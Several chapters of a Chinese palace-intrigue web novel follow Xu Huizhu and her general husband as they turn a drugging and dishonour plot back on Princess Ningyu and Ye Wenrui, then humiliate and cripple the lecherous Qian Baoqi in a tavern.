“旁人不心疼,你自个儿该疼惜才是。”
“你在郡王府当差,虽是奴婢,但一言一行也彰显郡王府的风范。”
“不仅如此,郡王府的奴婢,统一由内务府调配,在分到各府当差之前,由宫里的嬷嬷教导规矩礼仪......”
“成大监,是这样吗?”
成大监此时被点名,不用思考,果断站位徐慧珠,恭敬答道,“徐夫人说得是,阿菊的确出自内务府,两年前分到郡王府当差。”
“奴才还记得,教导阿菊那一批规矩的是杨嬷嬷,向来严厉。倒是在奴才面前夸赞过几回,说阿菊的规矩说得不错,每回考试优等......”
一个考试优等的奴婢,怎么就端不稳一盅汤呢?
这倒是有趣。
第098章:夫人被叶世子嫌弃了
内务府两年前分派的奴婢,如今犯错,也能牵涉到内务府的责任。
因为,阿菊的**契还在内务府。
“阿菊,成大监也说了,你的规矩学得不差,今日之事是你手滑,算作意外。”
“将军时常夸我心善人美,我就不重罚你了。”
“不过,你犯了此等错误,便说明你来郡王府后,谨郡王仁善,惯的你规矩懈怠。”
“成大监,依我之意,就把阿菊发回内务府,重新学习规矩,什么时候规矩学好了,再重新当差。”
“如何呀?”
成大监早已修炼成精,再有那位递话,哪能不懂徐慧珠话里的深意。
“是。”
“奴才回宫时,便将阿菊带回,请杨嬷嬷重新教导阿菊规矩。”
至于教导完规矩,阿菊会不会再次分派到郡王府,就不一定了。
不知为何,成大监心里生出一股暖意。
就算他已爬上内务府总管的高位,在贵人的眼里,他仍是低贱的奴,不配得到尊重,不配得到真心。
奴的死活,由贵人决定。
就比如刚刚发生的事情,成大监哪能看不出来,阿菊定是奉命把汤羹洒在徐慧珠的衣裙上。
奴的作用之一,是贵人之间较量的武器,也是牺牲品。
没人问过阿菊一句:你愿意吗?
只怕,连阿菊自己都已心如死灰,以为自己活不成了。
谁成想,跳下悬崖,未必是绝路,也可能拥有生机。
而阿菊的生机,是徐慧珠给的。
这份人命的情,成大监暗暗记在心里。
金夏拿出一只瓷瓶,递给阿菊,“这是我家夫人赐你的药膏,止血生肌的效用。”
“徐夫人?”荣慧皱眉,心生不悦,徐慧珠何意,三言两语就安排了阿菊的去处。
凭什么?
这里是她的郡王府,不是徐慧珠妾行妻权的将军府。
“怎么?”
“郡王妃不满意?”
“郡王妃该不是认为我在郡王府指手画脚?”
荣慧几欲脱口而出:难道不是吗?
什么时候郡王府奴才的去留,由徐慧珠一个什么都不是的外人做主?
“将军时常教导我,做人要有大格局。”
“我若因此事发作阿菊,为难郡王妃,岂不是啪啪打谨郡王的脸面?”
徐慧珠三句不离姜夜沉,不是“将军说了”,就是“将军时常教导”。
她嫁的是夫君,不是嫁去将军府,给姜夜沉当学生去了。
“难道,郡王妃希望我闹,好打谨郡王府脸面不成?”
“郡王妃不妨明说,你想如何?”
荣慧的脸,阴的能下暴雨。
不管她说什么,徐慧珠总能扣一口黑锅给她。
“阿菊,你下去收拾干净自己,在募捐宴结束之前,就负责侍奉我吧。”
不等阿菊应下,徐慧珠看向荣慧,“劳驾郡王妃安排人带我去更衣。”
徐慧珠让金夏和金冬去马车上取衣裳,从牡丹花亭到马车的地方,一来一去得一刻钟。
厢房里,金秋一脸气愤,“阿菊纯属故意,哼,若是换作旁的贵人,阿菊这会儿断手,或没命的下场。”
“夫人您就是心善。”
徐慧珠笑道,“那名叫阿菊的婢女是个聪慧的,我既承了她的善意,自当救下她的命。”
“阿菊的善意?”金秋不明,“可......可是,阿菊的确故意打翻汤羹,脏污了夫人您的衣裙。”
若是金冬在这里,定不会再问下去。
“那汤羹是凉的。”徐慧珠也瞧见阿菊的口型提醒,她说“危险”。
“以凝玉公主和荣慧对我的恨意,她们应该吩咐阿菊准备一盅热汤,烫不死我,也让我受痛。”
“就算我被烫伤,她们了不得推出阿菊顶罪,一条蝼蚁的贱命罢了。”
“阿菊不想死,想通这一点并不难,又或许,阿菊真正忠心的主子,另有其人。”
徐慧珠心里有所猜测。
两人正说着话。
徐慧珠突然闻到一股甜腻的香味,脸色大变,赶紧从荷包里取出两枚药丸,一颗塞入金秋口中,一颗自己服下。
“夫人?”金秋只觉得一阵眩晕过后,又转瞬恢复清明,“夫人,有人点了迷香。”
“装晕。”徐慧珠用力扯了一把,将金秋推到屏风旁。
待叶文瑞推门进来,入眼就瞧见躺在床榻上昏迷不醒的徐慧珠。
他走向前,粗暴地推了推,见徐慧珠毫无苏醒的模
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样,冷哼道,“死猪一样。”
“真丑!”
“丑八怪!”
“不及她的万分之一。”
叶文瑞口中的“她”是谁?
自然是他心心念念、情根深种,却爱而不得的神女-凝玉公主。
叶文瑞的手里紧紧攥着一枚瓷瓶,里面装着褐色药丸,能激发身体本能和欲望的药。
当他说,他无法对旁的女人产生欲望。
凝玉公主便给了他这只瓷瓶,难得的温柔,抚上他的手,“阿瑞,你若帮我达成所愿,你我虽无夫妻之名,但可有夫妻之实。”
“阿瑞,你也知道,姜夜沉不能人道,我的身子和心,都将属于你,我们的儿子,将来会继承将军府的权势......”
这话,好生熟悉。
这招数,算计在姜夜沉身上,一回又一回。
叶文瑞心中存疑。
他其实想问,凝玉公主明知姜夜沉不能人道,就算如愿嫁给姜夜沉,除了空有将军夫人的名头,日日欣赏姜夜沉的俊颜......还有什么好处?
凝玉公主为何毁亲后,又执着地求嫁?
难道,是皇后娘娘和太子相逼,为了拉拢姜夜沉?
肯定如此。
姜夜沉手握北疆军和锦衣卫,在皇子的眼里,就是一只香喷喷的烤鸡,谁不想占为己有?一口吞下?
再说,太子如今处境不怎么好,本来自请去华阳县赈灾,皇帝却下旨大皇子李明远随行。
这是要分去太子的政绩。
如果姜夜沉忠心太子,那么,太子的储君之位将坚如磐石。
叶文瑞想的越多越深,心里对凝玉公主的疼惜攀至顶峰。
若他如姜夜沉,权势握在手里,凝玉公主就不必受此委屈,还要牺牲一辈子的幸福。
同时,叶文瑞怨上姜夜沉,厌屋及乌,也恨上了徐慧珠。
“算了,我乃堂堂七尺男儿,做不出打女人的事。”
“不然,徐慧珠,我定会用**划画你的丑脸。”
“让你欺负凝玉,哼。”
徐慧珠只得强忍着,在心里被叶文瑞气笑了,还好意思自称堂堂七尺男儿,做不出打女人的事,却能做出玷污女人清白的恶事。
要脸的恶人,也是恶人。
第099章:她一个未嫁女子,不知羞耻为何
“徐慧珠,我对你无情无欲,只得服用这助兴药丸,破你的身。”
“唉,我......我本来要为凝玉公主守身如玉的,我的身体、我的心,只属于凝玉公主一人。”
“都怪你,让我的心变得不再纯粹,让我的身体变得不再干净......”
徐慧珠憋得难受,她好想跳起来,指着叶文瑞的鼻子,破口大骂:叶文瑞,你还真是凝玉公主的忠狗,不仅眼瞎心盲,还脑子有病,药石无灵的疯病蠢病傻病。
叶文瑞眼睛一闭,咽下药丸。
“叶世子挺为难?”
“我是不是得替夫人说声抱歉,让叶世子犯难?是我家夫人的过错?”
叶文瑞絮絮叨叨的那些话,姜夜沉听见了。
此刻,他的脸色清冷。
他求娶的夫人,何时轮到叶文瑞嫌弃了?
“你......将......将军?”叶文瑞满眼震惊,“你......你想做什么?”
“将军,你......你听我解释,是......是徐慧珠勾引我,她说......她说将军不能给予她床榻欢愉,她......她心里空虚,身子寂寞......”
余下的话,叶文瑞没有机会说出口。
因为,大福扛着一个女子砸向叶文瑞。
砸的满怀。
接着,叶文瑞瞧见床榻上昏迷的徐慧珠缓缓起身,冲他说道,“叶世子,如你如愿。”
“你看,你骂了我,我还好心帮你圆梦。”
“你是坏人,而我是好人。”
“你会感激我的。”
牡丹花亭里,拍卖环节已结束,荣慧先是说一番感谢云云的场面话,接着提议距离开席还有一刻钟,不如在郡王府里逛逛,赏一赏风景。
由荣慧带路,走着走着就到了一处院子,上面写着清幽园。
“郡王最喜清幽园,这里有一片竹林,每一根竹子都是郡王亲手栽种,待到了春日,郡王会亲自挖竹笋......”
荣慧介绍的起劲。
她哪里知道,这片竹林是谨郡王为意中人栽种,至于每年春日挖竹笋,也是为了重现少年时的美好时光。
那个明媚的小少年,挖下一颗竹笋,捧到他的面前,“谨哥哥,你喜欢吃竹笋炒肉吗?”
“听!”灵韵县主忽然出声,“谁在清幽园做什么?”
一行人走到清幽园门口,就听见咿咿呀呀的声音。
“郡王妃,还不是府中哪位妾室,趁谨郡王不在,和男人偷情吧。”
“不对,徐慧珠呢?”
“她去更衣,去了这么久,该不会......该不会换衣裳是幌子,其实幽会外男?”
这般难为情的话,灵韵县主张嘴就来。
她一个未嫁女子,好似不知羞耻为何物。
不给众人反应的时间,灵韵县主一锤定音,“管他呢,捉奸捉双就对了。”
灵韵县主好生勇猛,她推开门,嘭的一声又关上。
“走走走,没什么好看,屋子里面没人,一个人都没有。”
灵韵县主解释无力,因为屋内的两人还在忘情地快活着。
她这是当众人都是聋子?
灵韵县主一回头,就瞧见徐慧珠挽着姜夜沉的胳膊出现。
“徐慧珠,你......你?怎么是你?”
灵韵县主实在不知哪里出了错?
屋内的人为何从徐慧珠变成凝玉公主?姜夜沉又为何出现在郡王府?
“我也想知道,我何时何地得罪过灵韵县主,好让你对我恨之入骨,竟冤枉我幽会男人?”
既然都在了,徐慧珠一个也不会放过,下一个问的便是荣慧。
“在我心里,将军是英雄,是绝色美男子,我放着这般美好的将军不爱,还特意跑到郡王府偷情?”
“郡王妃,我怎么不知,你我关系亲密无间,我竟信任你到如此程度?”
徐慧珠目光又回到灵韵县主的身上,“抱歉,让灵韵县主你......失望了,我的确幽会男人去了,不过我幽会的男人正巧是我家将军。”
“这样,灵韵县主还要捉奸捉双吗?”
气氛凝滞。
荣慧最先反应过来,心道完了,屋子里的两人只怕是凝玉公主和叶文瑞。
如此也好,省的她动手了,敢觊觎姜夜沉的女人,一个个都该死。
因为,旁的女人,对姜夜沉的爱,是贪欲。
唯有她,对姜夜沉是纯粹洁净的情爱。
姜夜沉,只属于她一人。
“将军?”
“诸位,要开席了,请移步牡丹花亭。”
荣慧干巴巴地开口,她心里清楚,屋内的事情不能曝光于人前,就算曝光,这遭凝玉公主记恨的事,也不能由她来做。
“呵!”
姜夜沉黑着一张脸,“本将军来接夫人回府,夫人说郡王府的景致奢
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华不失淡雅,本将军便陪夫人赏赏景,倒是没想到这赏景的功夫,竟有人诬陷夫人幽会外男。”
“灵韵县主,郡王妃,本将军不在之时,两位是不是变着花样欺辱本将军的夫人?”
荣慧:......
灵韵县主:......
姜夜沉一脚踢开房门,“本将军倒要亲眼瞧瞧,别有用心之人为本将军的夫人准备了何等货色?比本将军高大威猛,还是比本将军风华绝代?”
众人:......
“不。”灵韵县主眼前一黑,下意识出声阻止。
再不阻止,天就要塌了。
她,不能得罪凝玉公主。
这些年,若不是想方设法讨好皇后娘娘,尽职尽责充当凝玉公主的忠狗,她哪来的好日子过。
她必须留在京城,绝不能回到可怕的东疆。
“啊......”凄厉的尖叫声,响彻郡王府。
世上本就没有不透风的墙,何况是凝玉公主的大瓜,岂有不吃之理。
凝玉公主初承欢愉,累到瘫软,再加上被姜夜沉亲眼看见自己正与叶文瑞行欢,刺激之下,陷入昏迷。
偏偏,叶文瑞终于得偿所愿,一时欣喜激动,早忘了他今日的任务,是玷污徐慧珠的清白,让所有人看到。
叶文瑞握住凝玉公主的手,坚持要送凝玉公主回宫,“凝玉公主,你我已有夫妻之实,我......我这就入宫面见皇上,求皇上赐婚,风光大娶。”
“凝玉公主,请相信我,我定会亲自操办一场盛大奢华的婚礼,绝不会让你受一丝一毫的委屈,你就安心等着,做这世上最幸福的新娘子。”
可惜,叶文瑞的深情款款,凝玉公主听不见。
若是听见,怕是会抽叶文瑞两嘴巴子。
让他说。
让他得意。
人们更愿意相信亲耳所听、亲眼所见,经此一事,哪怕凝玉公主长得一万张嘴,黑就黑的,说不白了。
凝玉公主和叶文瑞在郡王府私会?那么,荣慧做了什么?
为凝玉公主和叶文瑞的偷情,免费提供地方?
还是贵人玩得套路深,花样多。
徐慧珠捐了一百两银子,却没吃上席面。
亏得慌。
早知道她就捐一两银子,反正也没人知晓内情。
好在姜夜沉大方,听到她肚子传来咕噜噜的叫声,便吩咐大福,“去春风酒楼。”
第100章:性情刚烈的徐念念
吃饱喝足,徐慧珠说起正事,“我从未见过像叶文瑞这般又蠢又傻的男人,他前脚求娶**月,后脚行玷污我清白的恶事。”
“可见,凝玉公主和荣慧恨我,是恨到骨子里了。”
“若叶文瑞得逞,他便当众颠倒黑白,说我耐不住寂寞,勾引他。”
“他借此说户部尚书府的贵女品德极差,理直气壮退了同**月的亲事。”
“到那时,我是将军府的徐夫人做不成,娘家回不去,待凝玉公主和荣慧过足羞辱、折磨我的瘾,最后一脚踩死我。”
不得不说,徐慧珠猜测的十成十。
此番毒计,是荣慧贡献。
对于凝玉公主这类身份顶极贵重的贵人,对于荣慧这类心里变态的疯子,直接**无趣,狠狠用力折磨、羞辱一个人致死,其过程才让她们感觉舒爽。
徐慧珠越说,坐在对面的姜夜沉,脸色越冷越黑。
“徐慧珠,我信你。”
又补充一句,“不管何时何事,我只信你所言。”
姜夜沉的情话,徐慧珠听进心间。
他们之间,相处日短,但彼此心里都生出同样的感觉,仿佛两人已经历过几生几世的相识相知。
然后,灵魂融合,归于一人。
“我心亦信将军。”
两人相视一笑。
“将军,这回凝玉公主该安分了吧。”
“叶侯爷在军中颇有威望,太子若得叶侯爷支持,无疑于雪中送炭。”
“就算皇上心中不愿,皇后娘娘和太子也会想法子凑成这桩亲事。”
“将军能不能让人在凝玉公主的耳旁吹吹风,借此引发内斗。”
姜夜沉不禁想,心有灵犀一点通,说的就是他和徐慧珠。
他刚刚已下达命令,启用埋在凝玉公主和太子身边的钉子。
等凝玉公主和太子先斗起来,端看身为母亲的皇后娘娘,能否一碗水端平,不偏不倚?
如果皇后娘娘偏向太子,凝玉公主会闹。如果皇后娘娘公平公正处置,太子会闹。
总之,不管皇后娘娘如何做,在一双儿女的眼里都是错。
这是一步死棋。
“夫人与我想到一处了,只是......”
有些话,姜夜沉不好意思说出口。
徐慧珠忽然想到荣慧的疯癫,同一个患有精神疾病的疯子讲道理,本就无道理可言。
说不通的。
徐慧珠心里清楚,就算荣慧已嫁作人妇,她对姜夜沉仍不死心。
凝玉公主亦然。
“将军该不是想说,凝玉公主即便失身于叶文瑞,也不觉得自己有半点错。”
“凝玉公主还会想,她失去清白,将军不能人道,如此你们更是一对绝配的有情人。”
姜夜沉点头,认同她的猜测。
两人又说了一会儿话,眼见天色不早,刚出雅间门,就听到楼下厅堂一阵喧闹。
“钱三公子,你想做什么?”徐慧珠抬眼望去,发现说话的竟是与李氏交好的许金枝。
许金枝的身后,站着一名娇俏少女,是许金枝的女儿-徐念念。
此刻,徐念念脸色苍白,眼泪汪汪,瞧着可怜极了。
论亲戚关系,徐慧珠该称呼许金枝一声“婶婶”,徐念念得叫她一句“堂姐”。
“呵!”钱三公子猛地推开许金枝,好在许金枝长得胖,打个趔趄,后退两三步,倒也站稳了身子。
“本公子要做什么?”
“徐念念刚刚撞了我,撞的本公子内伤。”
“不过本公子大人有大量,只要徐念念愿以身相赔,这就随本公子回相府,做本公子第二十个......暖床婢。”
“本公子就不计较。”
徐念念气得发抖,“钱宝器,你无耻。”
“我......我没有撞你,我和娘亲来春风酒楼用饭,是你故意找茬,是你居心不良......”
徐慧珠同徐念念不熟,没想到这位小堂妹的性情,有几分刚烈。
“将军?”徐慧珠手指钱宝器,“将军,那个**是谁?”
姜夜沉应道,“钱宝器,钱相爷和平妻苗安楠生育的第二子,丞相府排名第三,称其钱三郎。”
“废物一个。”
很显然,徐念念的话,激怒了钱宝器。
他一把拉住徐念念,嘿嘿一笑,笑的一脸无耻、猥琐,“徐念念,你爱慕本公子就早说嘛,还跟本公子玩一出欲擒故众......”
啪。
徐念念甩掉钱宝器的狗爪子,紧接着,打了钱宝器一巴掌。
打完后
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,徐念念傻掉了。
“**,你......你竟敢打本公子的脸?”
钱宝器破口大骂,“本公子生得绝世俊颜,徐念念,这下,你赔偿不起了。”
“徐念念,是本公子太给你脸了,既不愿做本公子的暖床婢,那就做本公子的洗脚婢。哈哈哈......”
钱宝器眼里透着狠意,徐念念这个**竟敢当众扇他耳光,待他抓她回府,变着花招**。
钱宝器狂妄无边,嚣张至极。
徐念念不是户部尚书府的贵女,那也姓徐,与徐从德同宗同族。
钱宝器张口要徐念念为暖床婢,闭口要徐念念做他的洗脚婢。
口气比皇子还大。
不知道的,还以为钱宝器的爹才是安国的皇帝。
“将军先留步,我去会会钱三郎。”
徐慧珠刚跨出一步,又多余问一句,“将军,如果我说我想一脚踢断钱宝器的命根子,你可罩得住我?”
“夫人的主意,妙极。”姜夜沉不忘表达自己的参与意愿,“夫人拱火,为夫磨刀。”
徐慧珠留下金夏,特意带着金秋金冬。
“婶婶,好巧啊。”
徐慧珠适时表现出惊讶,“咦?”
“这......这是怎么了?”
徐慧珠的容貌本就上乘,再加上金秋金冬这一对娇美的双生姐妹,钱宝器的眼睛亮了。
许金枝没想到在春风酒楼遇上徐慧珠,她往徐慧珠的身后望了望,没瞧见姜夜沉。
传闻姜夜沉自成亲后,恨不得把徐慧珠装在荷包里,时时携带。
“慧......慧珠?”许金枝似是等到靠山,才敢释放心里的委屈,话没说一句,先哭的不能自已。
“慧珠姐姐?”徐念念原本对徐慧珠这位堂姐无感,但徐慧珠殴打凝玉公主时,她正好在场,看了全程。
徐念念好生崇拜徐慧珠。
她刚刚敢扇钱宝器耳光,也是徐慧珠给予的勇气。
徐念念认为,若徐慧珠在场,定会说“扇钱宝器一巴掌太少了,应该把钱宝器那张丑陋的脸打变形。”
徐念念挺直腰肢,脸上渐渐恢复血色,眼神也变得格外坚定,“请慧珠姐姐派人去报官,我要状告相府钱宝器当街强抢民女。”
第101章:废物要报复当年之辱
“徐慧珠?
”钱宝器黏糊糊的目光盯着徐慧珠,上下打量一番,说出的话下作无耻。
“姿容勉强,身段一般,啧啧啧,姜夜沉欣赏美色的眼光也不过如此嘛。”
“不过,生得一双漂亮的眼睛,嘿嘿,本公子正巧喜好收藏眼珠子......”
徐慧珠只觉得一阵恶寒。
这世道,坏种太多了。
“钱三公子既然知晓我的身份,还对我品头论足、言语侮辱,怎么,将军府不值得钱三公子尊重?”
徐慧珠给了徐念念一个安抚的眼神,也是告诉徐念念,这事,由她管了。
钱宝器看了一圈,没瞧见姜夜沉。
人都没在,他怕什么?
那件事情之后,钱相爷警告他不得招惹姜夜沉。
但,这回是徐慧珠主动招惹他,从徐慧珠和双生婢女出现,钱宝器的脑袋里就浮现一幅国色生香的画面。
一对姐妹花,再加上一对双生婢女......同时出现在他那张定制的床榻上。
钱宝器脑子一热,脱口而出,“姜夜沉不能人道,守活寡的日子很难熬的,不如,本公子教你体验、享受男欢女爱的快活?”
“放肆。”徐慧珠训斥道,“钱三公子请自重。”
此刻,钱宝器觉得身体好像着火了,这火烧得太旺,烧坏了耳朵。
他听成“钱三公子你过来呀”。
接着,一声惨叫响彻醉仙戏楼的厅堂,“啊......”
大家亲眼所见、亲耳所听的事实是,钱宝器欲行不轨之事,徐慧珠反抗之下,踢坏钱宝器的命根子。
“来人啊,给本公子打死......打死这几个**,统统打死。”
“哎呦。”
“啊......”
“好痛啊。”
只见,姜夜沉从二楼跃下,鞭子挥过,三名护卫倒在地上,脸上血肉模糊。
**先打脸。
打到脸烂,或没脸为止。
“本将军看......谁敢?”
姜夜沉的身上散发萧杀之气,吓得钱宝器几欲昏厥。
偏偏,命根部位痛到他眼前发黑,却又无比清醒。
“姜......姜夜沉?你......你......”钱宝器本能想逃,却痛到爬不起身。
“夫人,你还好吗?”姜夜沉走过去,牵住徐慧珠的手,“都是为夫的错,让你被疯狗吓着了。”
疯狗?
骂的就是钱宝器。
“将军,万幸你来了,呜呜呜......”徐慧珠吓得站立不稳,倒在姜夜沉的怀里。
“钱三公子好生过分,我都说明身份了,他......他竟敢嘲讽将军不能人道,还扬言抓我和念念妹妹回相府后宅,白日里当他的洗脚婢,夜里当他的暖床婢。”
“还有我的婢女,钱三公子也不会放过。他......他还说要我们四个小女子一同在床榻上陪他......快活。”
“将军,我......我怕**。”
哪知,钱宝器听后,满脸震惊,神补刀,“你......你怎么能探知本公子心里的想法,你......你会法术?”
蠢货不自知。
不打自招。
钱宝器的龌龊心思不难猜,他那一双眼睛在她们四人身上肆无忌惮打量,若眼神能剥人衣裳,她们四人这会儿已被钱宝器脱光了。
徐慧珠随口一猜,命中率不说十成,也会有七八成。
可见,上苍是公平的,大多数坏种是纯粹的坏,脑袋不够灵光。只有少量坏人同时拥有丑陋的心和肮脏的灵魂。
“三爷......”站在钱宝器身旁的小厮快要急**,他恨不能扑上去捂住自家主子的嘴。
天呐,主子没看见杀神姜夜沉吗?
当着杀神的面,调戏杀神的夫人?是嫌自己命长?还是活够了?
天神爷啊,完了完了。
小厮噗通跪在地上,“将......将军,三爷......三爷醉酒说胡话咧,三爷对徐夫人绝无非分之想,更无恶意。”
“三爷一向敬重将军是英雄,怎敢污英雄之名,这是误会,误会。”
小厮都比钱宝器拎得清。
偏偏,钱宝器的理智莫名崩塌,心里积蓄已久的怨恨在这一刻喷涌。
有一个声音在鼓动他:姜夜沉都不能人道,说难听点,他如今就是废人,是太监。应该说,姜夜沉不算作男人,而他钱宝器才是威猛完整的男人,怕什么?
钱宝器捂着裤裆,忍着痛,一脚踢在小厮的胸口处,
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梗着脖子怒骂,“死奴才,滚开。”
“谁给你的狗胆,敢做爷的主?”
“爷回府就让人剁你的狗腿,缝你的臭嘴,好让你睁大贱眼睛瞧瞧,爷才是你的主子。”
“哼。”
身体是痛,但,在姜夜沉面前,气势不能输。
钱宝器觉得,今儿,绝对不能输了阵势。
他一定要撕下姜夜沉的脸皮,狠狠踩在脚下,以报复当年之辱。
“怎么,钱三公子不觉得是误会?”
“往大了说,是钱三公子在天子脚下的京城,于大庭广众行违法犯罪之事?”
“往小了说,钱三公子认为本将军软弱可欺,连夫人都护不住,更有何颜面当守护百姓的护国将军、镇守国土的北疆之王、护卫皇上安危的锦衣卫统领?”
“不如,钱三公子随本将军入宫,向皇上请示,这护国将军、北疆之王和锦衣卫统领换作钱三公子来做?”
“如何啊?”
钱宝器一脸懵,他正欲嘲讽姜夜沉不能人道之事,不等他酝酿出恶毒的言语,这......这怎么一眨眼就胡扯到姜夜沉不做护国将军、北疆之王和锦衣卫统领?
这也能扯上关系?
“姜夜沉,你......你?”
钱宝器一边捂着裤裆,一边急得跳脚,酒色掏空他的身体,也耗损他本就不多的智商。
“你......你......”
“呵!”
“姜夜沉,你不能人道,有什么可神气的,姜家自你之后,就断了香火。”
“哎呀,真真是实惨。”
“姜夜沉,可要我帮你,睡你的夫人,延续你的香火?”
“男人嘛,不能人道,就得大度些,待你的夫人生下儿子,养在身边,虽不是亲生血脉,总归也亲近......”
跪在地上的小厮,此刻脸色惨白,满眼绝望,他觉得脖子上空荡荡的,脑袋要搬家了。
钱宝器平日里作威作福,这回,怕是要作死?
“三爷......三爷?”小厮顾不得身体疼痛,爬过去抱住钱宝器的腿,“三爷,奴才求您别......别再说了。”
“三爷,您忘了相爷的警告吗?相爷命......命您万万不能招惹的大将军啊。”
第102章:大皇子是谦谦君子
小厮唯一能做的就拼命规劝,劝不住也得劝。
小厮不知自家爷今日忽然抽什么风,往日看见姜夜沉,犹如老鼠见到猫,溜为先。
今日钱三公子吃了熊心豹子胆炼制的神药,势要在姜夜沉面前作死才罢休的架势?
疯了疯了。
钱宝器的眼里恢复一丝清明,这时,他对上徐慧珠的嘴型:废物。
她骂他......废物?
“**。”
钱宝器闪现的清明,又被铺天盖地的混沌淹没。
“**,你说清楚,本公子和姜夜沉比,谁无能?谁废物?”
谁也没看清,钱宝器手里何时多了一把**,竟丧心病狂到刺向姜夜沉,或姜夜沉怀里的徐慧珠。
“啊......”
“宝器,不要!”
“将军小心!大胆贼人,竟敢行刺将军。”
凄厉尖叫的是钱宝器。
高喊“不要”的是大皇子李明远。
高呼“将军小心”的是匆匆赶来的大福。
可惜,姜夜沉的脚更快。
这一脚补的极妙,唯有钱宝器听到一声细微的脆响。
他的命根,断了。
徐慧珠先前踢的一脚,让他受伤。
接着,姜夜沉补的这一脚,让他残废。
“钱三公子这么迫切体验不能人道的滋味,本将军好心满足。”
姜夜沉紧接着下令,“大福,报官。”
“表哥,救我,杀......杀了这一对狗男女,为......为我报仇。”钱宝器昏厥前,不忘过嘴瘾。
大皇子李明远的脸,黑如锅底,心里骂道:蠢货该死,若是姜夜沉这一脚踢死钱宝器,对他来说,大有好处。
“将军不可。”
又吩咐身边的护卫,“送钱三公子回府,请太医诊治。”
“见过大皇子。”姜夜沉好似才看见大皇子李明远,收敛身上的萧杀气息,恭敬行礼。
“将军何须客气,我早就说过,见着我,不论君臣之礼。”
“我当将军是至交好友,盼将军与我同心同想才是。”李明远说话滴水不漏,还将姿态摆的很低。
礼贤下士的谦谦君子,说的就是大皇子李明远。
当然,李明远正是靠这一招,在朝堂上树立良好名声,赢得一些官员追随。
李明远深深地的看了一眼徐慧珠,目光快速挪开。
一个六分姿色的女人,不过好运气入得姜夜沉的眼,又或是姜夜沉故意放出来的烟雾,以彰显他身为男人的自尊。
钱宝器有一句话说得没差,姜夜沉纵使万般能耐,又如何?
富贵和权势,终有到头的一日。
“这......”
“臣......不敢。”
“钱三公子他?”
不等姜夜沉解释,大皇子李明远接话,“错在宝器,让将军和徐夫人受委屈了。”
“此事,本王会如实向舅父舅母说明情况。”
“只是,宝器到底受伤,烦请将军宽限三两日,待太医看诊过后,便让宝器登门......负荆请罪。”
李明远看似说着软话,却隐着一股威胁之意,又暗示姜夜沉该承他的情。
钱宝器理亏,但姜夜沉踢出的那一脚,就是华佗在世也救不得他。
人,彻底废了。
当然,钱宝器存在的意义,仅仅就是妻妾成群,繁衍后代。
如今,他连这唯一的作用也没了。
醉仙戏楼发生的事情,姜夜沉暗里推波助澜,大皇子李明远无力阻止,很快就传到皇帝耳中。
皇帝连下两道旨意,命大皇子李明远送到相府。
第一道圣旨,申斥钱相爷教子无方,勒令自省,什么时候教导好儿子,什么时候上朝。
第二道旨意,钱宝器德行败坏,罚其不得入朝为官,钱宝器这一支的后代受其连坐惩罚,不得参加科举。
皇帝这是让所有人都明白一个道理:在得罪姜夜沉之前,先深思熟虑一番可承受得住后果?
当然,钱宝器本就是只会吃喝玩乐的废物,就是他闹着为官,钱相爷和大皇子李明远也不会给他机会。
至于钱宝器的子孙后代,托姜夜沉的福,被姜夜沉一脚踢断。
“金夏,可查到钱宝器为何至今未有子嗣?”
“夫人好奇这个?”姜夜沉解下披风,随手递给徐慧珠。
一
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如多年的老夫老妻。
“夫人在煮茶?夫人怎知这个时辰为夫回府?”姜夜沉动作娴熟拿起徐慧珠的茶杯,一饮而尽。
“夫人煮茶的手艺越发精进了。”
站在一旁的金夏实在忍不住,扑哧笑出声。
在将军的眼里,夫人干什么都好,说什么都对。
为了夸赞夫人,将军连喜好都变了,大福明明说过,将军常喝重口茶水,从来不喝茶淡味香的花茶。
徐慧珠笑道,“将军看,连金夏都知道将军在说假话。”
“夫人可别冤枉奴婢,奴婢什么都没说。”金夏连连摆手,她如今领的是将军府发放的月银,是从前在户部尚书府的双倍。
她聪明着,绝不得罪将军这位金主。
“奴婢笑,是为夫人高兴,将军对夫人真好,喜夫人所喜,忧夫人所忧,厌夫人所厌......”
“从前,奴婢只在话本里见过两情相悦的有情人,如今日日瞧着夫人和将军相处,才明白何为有情人。”
徐慧珠瞪了金夏一眼,金夏到将军府当差后,学得一张利嘴。
“金夏说得极好,奖赏两个月月银。”
很显然,金夏的话,取悦了姜夜沉。
“奴婢谢将军赏。”金夏极有眼色退出屋子,她得寻大福嘚瑟,然后再求着大福取经一二。
“钱宝器读书不行,在男女之事上造诣颇高,从十四岁起,先嚯嚯府里的美婢,接着流连京城各风月场所,后来又祸害清白姑娘......坏透了。”
“但,钱相爷宠爱的那位平妻,就是苗家三女苗安楠,她一早看上西疆王的独女上官西环。”
“为彰显钱宝器求娶上官西环的诚意,苗安楠许诺在嫡妻入门前,钱宝器的后院不会有妾室通房。在嫡妻生育嫡子之前,绝不会有庶子。”
徐慧珠看向姜夜沉,他一边说话,一边细细品着茉莉花茶,似是浑然不觉她眼里的惊讶,一寸一寸满溢。
“将军,我有一事不明,听闻,苗安楠的智商和野心为苗家五女之最,亲自教导相府二公子钱无双,有诸葛之才,赵子龙之武......”
“怎么会?”
第103章:夫人和将军心有灵犀
“苗安楠身为钱宝器的亲生母亲,为何放任他长成纨绔,不,是废物?”
徐慧珠一语点出旁的意思,既是不寻常之处,定会有其存在的理由。
姜夜沉觉得再喝下去,他晚膳不用吃了。
神奇的是,即便喝一肚子茉莉花茶,好似能饱腹,心情还莫名愉悦。
他没告诉徐慧珠,出了钱宝器这等事,他特意命锦衣卫,又动用云霄阁,以最快速度,查出相府最详细的消息。
着重后宅秘闻。
后宅肮脏之事,他从前厌烦,如今同徐慧珠说着,倒是有些莫名的趣味。
“夫人不妨猜测是为何?”
徐慧珠也不矫情,大胆猜测,“其实不难猜,定与苗安楠有关吧。”
姜夜沉点头,“苗安楠生育两子,大抵史记读得多,为避免兄弟相残,竟在两子间**纵横之术,精心培养钱无双,刻意养废钱宝器。”
“钱无双和上官西环情投意合,亲事下定前夕,传出钱无双**坏了身子,钱无双放出终生不娶妻的毒誓。”
“但,苗安楠一心惦记西疆王手里的兵权......”
徐慧珠问道,“我更好奇,谁能神不知鬼不觉给钱无双下毒?”
“那一家人疯到常理难以解释。”姜夜沉爱憎分明,他欣赏钱相爷的能力,但鄙夷钱相爷的品德。
“所以,钱宝器是一个突破口。”
“钱宝器原本就不喜上官西环,不,说不喜是委婉了,钱宝器厌恶上官西环到极致。”
“娶一位姿色平常、武力超群的女将军为妻,打,打不过。骂,骂不赢。”
“对钱宝器来说,无半点好处,他那样目光短浅、心如豆腐渣的废物,自然只嗜好纯粹的美色。”
